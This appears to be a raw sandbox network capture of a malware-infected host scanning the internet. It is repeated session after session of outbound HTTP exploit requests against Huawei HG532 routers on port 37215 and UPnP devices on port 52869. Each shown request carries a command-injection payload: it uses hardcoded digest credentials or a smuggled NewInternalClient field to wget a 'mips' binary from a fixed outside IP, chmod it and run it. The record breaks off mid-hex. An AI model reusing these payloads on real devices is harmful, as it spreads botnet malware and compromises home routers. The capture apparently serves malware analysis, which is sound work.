20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.14	33408	156.191.184.73	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.935476065 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.14	35154	197.184.8.180	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.936068058 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.14	32788	41.122.116.38	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.936655998 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.14	37026	156.239.174.27	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.966986895 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.14	51350	156.59.66.240	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.969662905 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.14	52720	41.217.152.38	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.970309019 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.14	35028	156.24.242.132	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:30.152441978 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.14	42220	197.245.120.181	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:31.123605967 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.14	46616	197.228.48.70	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:31.244261980 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.14	47776	41.3.2.109	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:31.245170116 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.14	43772	156.48.242.95	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:33.145617962 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 